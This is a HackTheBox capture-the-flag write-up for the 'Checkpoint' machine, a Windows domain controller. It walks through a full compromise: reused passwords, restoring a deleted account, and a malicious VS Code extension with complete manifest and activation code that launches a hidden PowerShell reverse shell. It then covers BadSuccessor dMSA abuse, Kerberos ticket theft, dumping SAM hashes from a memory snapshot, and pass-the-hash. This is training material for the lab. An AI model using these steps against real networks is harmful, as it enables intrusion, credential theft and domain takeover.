Checkpoint Writeup - HackTheBox
Created May 30, 2026 • Last updated October 25, 2026 • 7 min read
Reconnaissance
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing | ssl-cert: Subject: commonName=DC01.checkpoint.htb Host script results: | NetBIOS name: DC01 | DNS_Domain_Name: checkpoint.htb | DNS_Computer_Name: DC01.checkpoint.htb
Classic DC fingerprint: DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985). Domain checkpoint.htb, hostname DC01.checkpoint.htb from LDAP + SSL cert.
/etc/hosts
Initial Access
Step 1 , Verify Initial Auth (alex.turner)
[+] checkpoint.htb\alex.turner:Checkpoint2024!
Step 2 , Enumerate Writable AD Objects
Key findings:
WRITEonCN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htbCREATE_CHILDonOU=Employees,DC=checkpoint,DC=htbWRITEonCN=Deleted Objects,DC=checkpoint,DC=htb
Step 3 , Restore Deleted User Mark Davies
alex.turner has WRITE on the Deleted Objects container, including Mark Davies' tombstone. Restore him with bloodyAD:
[+] Restored to CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
Step 4 , Password Reuse with mark.davies
[+] checkpoint.htb\mark.davies:Checkpoint2024!
Mark Davies reuses the same domain password Checkpoint2024!.
Step 5 , Find DevDrop SMB Share
Key finding:
Share
DevDropwithREAD,WRITEpermissionsDescription: "VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0"
Execution
Step 6 , Malicious VS Code Extension (.vsix → RCE)
A bot periodically installs .vsix files dropped in the DevDrop share. The extension activates on VS Code startup and runs arbitrary code. All source files are in vsix-exploit/ in this folder.
Directory structure:
vsix-exploit/
├── [Content_Types].xml
├── extension.vsixmanifest
└── extension/
├── package.json
└── out/
└── extension.js
extension/package.json:
{
"name": "checkpoint-tools",
"displayName": "Checkpoint Tools",
"description": "Internal tooling",
"version": "1.0.0",
"publisher": "checkpoint",
"engines": {"vscode": "^1.118.0"},
"activationEvents": ["*"],
"main": "./out/extension.js",
"contributes": {}
}
extension/out/extension.js (self-contained inline reverse shell , no HTTP fetch needed):
const { exec } = require('child_process');
function activate(context) {
const cmd = `powershell -NoP -NonI -W Hidden -Exec Bypass -Command "..."`;
exec(cmd);
}
function deactivate() {}
module.exports = { activate, deactivate };
[Content_Types].xml:
<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension=".vsixmanifest" ContentType="text/xml" />
<Default Extension=".json" ContentType="application/json" />
<Default Extension=".js" ContentType="application/javascript" />
</Types>
extension.vsixmanifest:
<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011">
<Metadata>
<Identity Language="en-US" Id="checkpoint-tools" Version="1.0.0" Publisher="checkpoint" />
<DisplayName>Checkpoint Tools</DisplayName>
<Description xml:space="preserve">Internal tooling</Description>
<Tags></Tags>
<Categories>Other</Categories>
<GalleryFlags>Public</GalleryFlags>
<Properties>
<Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.118.0" />
<Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />
</Properties>
</Metadata>
<Installation>
<InstallationTarget Id="Microsoft.VisualStudio.Code" Version="[1.118.0,)" />
</Installation>
<Dependencies />
<Assets>
<Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />
</Assets>
</PackageManifest>
Build, catch, upload:
Shell arrives within ~2 minutes (bot picks up the file).
Discovery
Step 6b , User Flag
Step 7 , Post-Shell Enumeration (ryan.brooks)
ryan.brooks is a standard domain user:
Groups:
CHECKPOINT\VPN-Users,CHECKPOINT\DevTeam,BUILTIN\UsersNo local admin, no SeDebugPrivilege
VMBackups is access denied:
# Access is denied.
Notice
Dead end explored: VS Code state DB (state.vscdb) contained no credentials.
Key finding for privesc: ryan.brooks has CreateChild on OU=DMSAHolder (found via bloodyAD / BloodHound) → BadSuccessor attack path.
Privilege Escalation
BadSuccessor , DMSA Abuse on Patched Server 2025
DC build 26100.32860 is post-patch 4946. On patched DCs, msDS-SupersededManagedAccountLink must also be written on the target account , so the attacker needs WRITE on the target, not just CreateChild on the OU. ryan.brooks has CreateChild on OU=DMSAHolder and WRITE on svc_deploy. We target svc_deploy, whose NT hash gives access to VMBackups.
Step 8a , Enumerate BadSuccessor Rights
BADSUCCE... DC01 [+] Found domain controller with operating system Windows Server 2025: $TARGET_IP BADSUCCE... DC01 [+] Found 2 results BADSUCCE... DC01 alex.turner (S-1-5-21-...-1101), OU=Employees,DC=checkpoint,DC=htb BADSUCCE... DC01 ryan.brooks (S-1-5-21-...-1103), OU=DMSAHolder,DC=checkpoint,DC=htb
ryan.brooks has CreateChild on OU=DMSAHolder.
Step 8b , Get ryan.brooks TGT via Rubeus tgtdeleg
Rubeus is downloaded from the attacker's HTTP file server (ToolServe or python3 -m http.server):
[*] Action: Request Fake Delegation TGT (current user)
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] base64(ticket.kirbi):
doIF1DCCBdCgAwIBBaEDAgEW...
Step 8c , Convert kirbi → ccache + Sync Clock
Kali was ~7 hours behind the DC , Kerberos has a 5-minute tolerance. Sync clock first.
# [*] converting kirbi to ccache... # [+] done
Step 8d , Find Writable Target for DMSA
ryan.brooks can't write to Administrator. Check what he can write to:
distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb permission: WRITE
ryan.brooks has WRITE on svc_deploy. svc_deploy is in BackupAccess group → READ on VMBackups.
Step 8e , Create Weaponised DMSA Targeting svc_deploy
[+] Creating DMSA evilDMSA6$ in OU=DMSAHolder,DC=checkpoint,DC=htb [+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb Realm : CHECKPOINT.HTB Sname : krbtgt/CHECKPOINT.HTB UserName : evilDMSA6$ UserRealm : checkpoint.htb StartTime : 2026-06-14 18:06:10+00:00 EndTime : 2026-06-15 03:49:13+00:00 Flags : renewable, forwardable, forwarded, enc-pa-rep, pre-authent Keytype : 18 Key : m1ZW7MRbqp4XdICDo2Of+COSSqx9iVBr6cWdiyNBxoM= [+] dMSA TGT stored in ccache file evilDMSA6_ty.ccache dMSA current keys found in TGS: AES256: 782275404d4475e867db896a731894d971d2b55f3b874445dd8942a29a2270f4 AES128: 8d3194e308cd04ca945ce999cb758513 RC4: 352bb8057e13095aa509ac161be4701d dMSA previous keys found in TGS (including keys of preceding managed accounts): RC4: $SVC_HASH
The "previous keys" entry is svc_deploy's NT hash (the "preceding managed account").
TGT saved to: evilDMSA6_ty.ccache
Credential Access
VMware Memory Forensics
svc_deploy is in the BackupAccess group and has READ on VMBackups. The share contains a VMware snapshot of a Windows Server 2019 machine. We extract the SAM/SYSTEM hives from RAM to recover the local Administrator hash.
Step 8f , Confirm VMBackups Access
SMB DC01 [+] checkpoint.htb\evilDMSA6$ from ccache SMB DC01 VMBackups READ
SMB DC01 [+] checkpoint.htb\svc_deploy:$SVC_HASH SMB DC01 VMBackups READ
VMBackups contents (NightlyBackup_2024-11-01/memory forensics/):
Windows Server 2019.vmdk 9.5 GB full VM disk
Windows Server 2019-000001.vmdk 101 MB delta VMDK
Windows Server 2019-Snapshot1.vmem 2 GB RAM dump ← target
Windows Server 2019-Snapshot1.vmsn 131 MB snapshot metadata
Step 8g , Download vmem + vmsn
smbclient chokes on filenames with spaces. Use impacket Python directly:
dl_vmem.py :
from impacket.smbconnection import SMBConnection
TARGET_PATH = 'snapshot.vmem'
REMOTE_FILE = 'NightlyBackup_2024-11-01\\memory forensics\\Windows Server 2019-Snapshot1.vmem'
conn = SMBConnection('dc01.checkpoint.htb', '$TARGET_IP', sess_port=445)
conn.login('svc_deploy', '', 'checkpoint.htb', '', '$SVC_HASH')
total = 0
with open(TARGET_PATH, 'wb') as f:
def write_chunk(data):
global total
f.write(data)
total += len(data)
if total % (100 * 1024 * 1024) == 0:
print(f'[*] Downloaded {total // (1024*1024)} MB', flush=True)
conn.getFile('VMBackups', REMOTE_FILE, write_chunk)
print(f'[+] Done! {total} bytes')
conn.logoff()
dl_vmsn.py same but for .vmsn. volatility3 needs the .vmsn alongside the .vmem with matching base name to correctly map VMEM pages:
from impacket.smbconnection import SMBConnection
TARGET_PATH = 'snapshot.vmsn'
REMOTE_FILE = 'NightlyBackup_2024-11-01\\memory forensics\\Windows Server 2019-Snapshot1.vmsn'
conn = SMBConnection('dc01.checkpoint.htb', '$TARGET_IP', sess_port=445)
conn.login('svc_deploy', '', 'checkpoint.htb', '', '$SVC_HASH')
total = 0
with open(TARGET_PATH, 'wb') as f:
def write_chunk(data):
global total
f.write(data)
total += len(data)
if total % (20 * 1024 * 1024) == 0:
print(f'[*] Downloaded {total // (1024*1024)} MB', flush=True)
conn.getFile('VMBackups', REMOTE_FILE, write_chunk)
print(f'[+] Done! {total} bytes')
conn.logoff()
# [*] Downloaded 100 MB # [*] Downloaded 200 MB # ... # [+] Done! 2147483648 bytes # [+] Done! 138164859 bytes
Step 8h , Extract Registry Hives from vmem with volatility3
Offset FileFullPath 0xc30a2fe38000 \REGISTRY\MACHINE\SYSTEM 0xc30a3278e000 \SystemRoot\System32\Config\SAM 0xc30a32789000 \SystemRoot\System32\Config\SECURITY
0xc30a2fe38000 \REGISTRY\MACHINE\SYSTEM registry.SYSTEM.0xc30a2fe38000.hive 0xc30a3278e000 \SystemRoot\System32\Config\SAM registry.SAM.0xc30a3278e000.hive 0xc30a32789000 \SystemRoot\System32\Config\SECURITY registry.SECURITY.0xc30a32789000.hive
Step 8i , secretsdump LOCAL on Extracted Hives
[*] Target system bootKey: 0x75247bc64fa0086d2c98744d4bcd53f5 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMIN_HASH::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping LSA Secrets [*] DPAPI_SYSTEM dpapi_machinekey:0x914b2bd39adf134401ec6eceb08f8ec131d2ecbd dpapi_userkey:0x77d90ebac2487f870a26e4776c72b4509b06dd1b
Lateral Movement
Step 8j , Pass-the-Hash as Administrator
The Server 2019 Administrator hash is reused on the Server 2025 DC:
SMB DC01 [+] checkpoint.htb\Administrator:$ADMIN_HASH (Pwn3d!)